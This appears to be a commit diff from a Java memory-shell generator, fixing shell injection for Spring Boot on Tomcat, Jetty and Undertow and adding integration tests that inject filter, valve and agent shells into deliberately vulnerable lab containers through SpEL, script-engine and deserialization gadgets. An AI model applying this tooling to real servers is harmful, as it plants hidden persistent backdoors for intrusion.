fix: SpringBoot Tomcat/Jetty/Undertow Shell Inject failed

deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java

@@ -1,5 +1,6 @@
 package com.reajason.javaweb.deserialize;
 
+import com.reajason.javaweb.ClassBytesShrink;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
 import com.reajason.javaweb.deserialize.utils.Reflections;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
@@ -23,7 +24,7 @@ public static TemplatesImpl createTemplatesImpl(byte[] bytes) {
                 .subclass(Object.class).name("foo")
                 .visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
                 .make()) {
-            fooBytes = make.getBytes();
+            fooBytes = ClassBytesShrink.shrink(make.getBytes(), true);
         }
 
         Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{

generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java

@@ -58,58 +58,53 @@ private Manifest createManifest(String mainClass) {
     @SneakyThrows
     private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
         if (isAsm) {
-            addDependency(targetJar, Opcodes.class, true, relocatePrefix);
+            addDependency(targetJar, Opcodes.class, relocatePrefix);
         } else {
-            addDependency(targetJar, ByteBuddy.class, false, relocatePrefix);
+            addDependency(targetJar, ByteBuddy.class, relocatePrefix);
         }
     }
 
     @SneakyThrows
     private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
-                                 String relocatePrefix, boolean isRelocateEnabled) {
-        String dependencyPackage = isRelocateEnabled ?
+                                 String relocatePrefix, boolean isAsm) {
+        String dependencyPackage = isAsm ?
                 Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
 
         // Add injector class
         addClassEntry(targetJar,
                 generateResult.getInjectorClassName(),
                 generateResult.getInjectorBytes(),
                 dependencyPackage,
-                relocatePrefix,
-                isRelocateEnabled);
+                relocatePrefix);
 
         // Add shell class
         addClassEntry(targetJar,
                 generateResult.getShellClassName(),
                 generateResult.getShellBytes(),
                 dependencyPackage,
-                relocatePrefix,
-                isRelocateEnabled);
+                relocatePrefix);
 
         // Add inner classes
         for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
             addClassEntry(targetJar,
                     entry.getKey(),
                     entry.getValue(),
                     dependencyPackage,
-                    relocatePrefix,
-                    isRelocateEnabled);
+                    relocatePrefix);
         }
     }
 
     @SneakyThrows
     private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
-                               String dependencyPackage, String relocatePrefix, boolean isRelocateEnabled) {
+                               String dependencyPackage, String relocatePrefix) {
         targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
-        byte[] processedBytes = isRelocateEnabled ?
-                ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage) :
-                classBytes;
+        byte[] processedBytes = ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage);
         targetJar.write(processedBytes);
         targetJar.closeEntry();
     }
 
     @SneakyThrows
-    public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, boolean relocate, String relocatePrefix) {
+    public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String relocatePrefix) {
         String packageToMove = baseClass.getPackage().getName().replace('.', '/');
         URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
         String sourceUrlString = sourceUrl.toString();
@@ -133,13 +128,13 @@ public static void addDependency(JarOutputStream targetJar, Class<?> baseClass,
             if (entryName.startsWith(packageToMove)) {
                 InputStream entryStream = sourceJar.getInputStream(entry);
                 byte[] bytes = IOUtils.toByteArray(entryStream);
-                if (relocate) {
+                if (entryName.endsWith(".class")) {
                     targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
                     if (bytes.length > 0) {
                         bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
                     }
                 } else {
-                    targetJar.putNextEntry(new JarEntry(entryName));
+                    targetJar.putNextEntry(entry);
                 }
                 targetJar.write(bytes);
                 targetJar.closeEntry();

integration-test/build.gradle

@@ -51,12 +51,15 @@ idea {
 }
 
 test {
-    dependsOn(":vul:vul-webapp:war",
+    dependsOn(
+            ":vul:vul-webapp:war",
             ":vul:vul-webapp-expression:war",
             ":vul:vul-webapp-deserialize:war",
             ":vul:vul-webapp-jakarta:war",
             ":vul:vul-springboot1:bootJar",
             ":vul:vul-springboot2:bootJar",
+            ":vul:vul-springboot2-jetty:bootJar",
+            ":vul:vul-springboot2-undertow:bootJar",
             ":vul:vul-springboot2:bootWar",
             ":vul:vul-springboot2-webflux:bootJar",
             ":vul:vul-springboot3:bootJar",

integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java

@@ -20,6 +20,8 @@ public class ContainerTool {
     public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
     public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath();
     public static final Path springBoot2Dockerfile = Path.of("..", "vul", "vul-springboot2", "Dockerfile").toAbsolutePath();
+    public static final Path springBoot2JettyDockerfile = Path.of("..", "vul", "vul-springboot2-jetty", "Dockerfile").toAbsolutePath();
+    public static final Path springBoot2UndertowDockerfile = Path.of("..", "vul", "vul-springboot2-undertow", "Dockerfile").toAbsolutePath();
     public static final Path springBoot2WebfluxDockerfile = Path.of("..", "vul", "vul-springboot2-webflux", "Dockerfile").toAbsolutePath();
     public static final Path springBoot3Dockerfile = Path.of("..", "vul", "vul-springboot3", "Dockerfile").toAbsolutePath();
     public static final Path springBoot3WebfluxDockerfile = Path.of("..", "vul", "vul-springboot3-webflux", "Dockerfile").toAbsolutePath();

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

@@ -306,7 +306,7 @@ public static void assertInjectIsOk(String url, String shellType, ShellTool shel
             }
             case ScriptEngine -> VulTool.postData(url + "/js", content);
             case EL -> VulTool.postData(url + "/el", content);
-            case SpEL -> VulTool.postData(url + "/spel", content);
+            case SpEL, SpELSpringIOUtils -> VulTool.postData(url + "/spel", content);
             case OGNL -> VulTool.postData(url + "/ognl", content);
             case MVEL -> VulTool.postData(url + "/mvel", content);
             case JXPath -> VulTool.postData(url + "/jxpath", content);

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java

@@ -42,6 +42,7 @@ public class Jboss423ContainerTest {
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jboss/server/default/deploy/app.war")
+            .withEnv("JAVA_OPTS", "-Xms128m -Xmx512m -XX:MaxPermSize=128M -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jbossPid, "/fetch_pid.sh")
             .withNetwork(network)

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java

@@ -82,4 +82,25 @@ public static String getUrl(GenericContainer<?> container) {
         log.info("container started, app url is : {}", url);
         return url;
     }
+
+    static Stream<Arguments> tomcatCasesProvider() {
+        Server server = Server.Tomcat;
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER,
+//                ShellType.LISTENER,
+                ShellType.VALVE,
+                ShellType.WEBSOCKET,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
+        List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
+        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
+    }
+
+    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
+    @MethodSource("tomcatCasesProvider")
+    void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
+        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2JettyContainerTest.java

@@ -0,0 +1,105 @@
+package com.reajason.javaweb.integration.springmvc;
+
+import com.reajason.javaweb.integration.TestCasesProvider;
+import com.reajason.javaweb.memshell.Packers;
+import com.reajason.javaweb.memshell.Server;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.Arguments;
+import org.junit.jupiter.params.provider.MethodSource;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.Network;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.images.builder.ImageFromDockerfile;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.util.List;
+import java.util.stream.Stream;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
+import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@Testcontainers
+@Slf4j
+public class SpringBoot2JettyContainerTest {
+    public static final String imageName = "springboot2-jetty";
+
+    static Network network = Network.newNetwork();
+    @Container
+    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
+            .withDockerfile(neoGeorgDockerfile))
+            .withNetwork(network);
+
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
+            .withDockerfile(springBoot2JettyDockerfile))
+            .withCopyToContainer(jattachFile, "/jattach")
+            .withCopyToContainer(springbootPid, "/fetch_pid.sh")
+            .withNetwork(network)
+            .withNetworkAliases("app")
+            .waitingFor(Wait.forHttp("/test"))
+            .withExposedPorts(8080);
+
+    static Stream<Arguments> casesProvider() {
+        Server server = Server.SpringWebMvc;
+        List<String> supportedShellTypes = List.of(
+                ShellType.SPRING_WEBMVC_INTERCEPTOR,
+                ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
+                ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
+                ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
+        );
+        List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
+        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
+    }
+
+    @AfterAll
+    static void tearDown() {
+        String logs = container.getLogs();
+        log.info(logs);
+        assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
+    }
+
+    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
+    @MethodSource("casesProvider")
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
+        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+    }
+
+    public static String getUrl(GenericContainer<?> container) {
+        String host = container.getHost();
+        int port = container.getMappedPort(8080);
+        String url = "http://" + host + ":" + port;
+        log.info("container started, app url is : {}", url);
+        return url;
+    }
+
+    static Stream<Arguments> jettyCasesProvider() {
+        Server server = Server.Jetty;
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET,
+                ShellType.FILTER,
+//                ShellType.LISTENER,
+                ShellType.JETTY_AGENT_HANDLER,
+                ShellType.JETTY_AGENT_HANDLER_ASM
+        );
+        List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
+        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
+    }
+
+    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
+    @MethodSource("jettyCasesProvider")
+    void testJetty(String imageName, String shellType, ShellTool shellTool, Packers packer) {
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2UndertowContainerTest.java

@@ -0,0 +1,105 @@
+package com.reajason.javaweb.integration.springmvc;
+
+import com.reajason.javaweb.integration.TestCasesProvider;
+import com.reajason.javaweb.memshell.Packers;
+import com.reajason.javaweb.memshell.Server;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.Arguments;
+import org.junit.jupiter.params.provider.MethodSource;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.Network;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.images.builder.ImageFromDockerfile;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.util.List;
+import java.util.stream.Stream;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
+import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@Testcontainers
+@Slf4j
+public class SpringBoot2UndertowContainerTest {
+    public static final String imageName = "springboot2-undertow";
+
+    static Network network = Network.newNetwork();
+    @Container
+    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
+            .withDockerfile(neoGeorgDockerfile))
+            .withNetwork(network);
+
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
+            .withDockerfile(springBoot2UndertowDockerfile))
+            .withCopyToContainer(jattachFile, "/jattach")
+            .withCopyToContainer(springbootPid, "/fetch_pid.sh")
+            .withNetwork(network)
+            .withNetworkAliases("app")
+            .waitingFor(Wait.forHttp("/test"))
+            .withExposedPorts(8080);
+
+    static Stream<Arguments> casesProvider() {
+        Server server = Server.SpringWebMvc;
+        List<String> supportedShellTypes = List.of(
+                ShellType.SPRING_WEBMVC_INTERCEPTOR,
+                ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
+                ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
+                ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
+        );
+        List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
+        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
+    }
+
+    @AfterAll
+    static void tearDown() {
+        String logs = container.getLogs();
+        log.info(logs);
+        assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
+    }
+
+    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
+    @MethodSource("casesProvider")
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
+        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+    }
+
+    public static String getUrl(GenericContainer<?> container) {
+        String host = container.getHost();
+        int port = container.getMappedPort(8080);
+        String url = "http://" + host + ":" + port;
+        log.info("container started, app url is : {}", url);
+        return url;
+    }
+
+    static Stream<Arguments> jettyCasesProvider() {
+        Server server = Server.Undertow;
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET,
+                ShellType.FILTER,
+//                ShellType.LISTENER,
+                ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
+                ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
+        );
+        List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL);
+        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
+    }
+
+    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
+    @MethodSource("jettyCasesProvider")
+    void testJetty(String imageName, String shellType, ShellTool shellTool, Packers packer) {
+        testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+    }
+}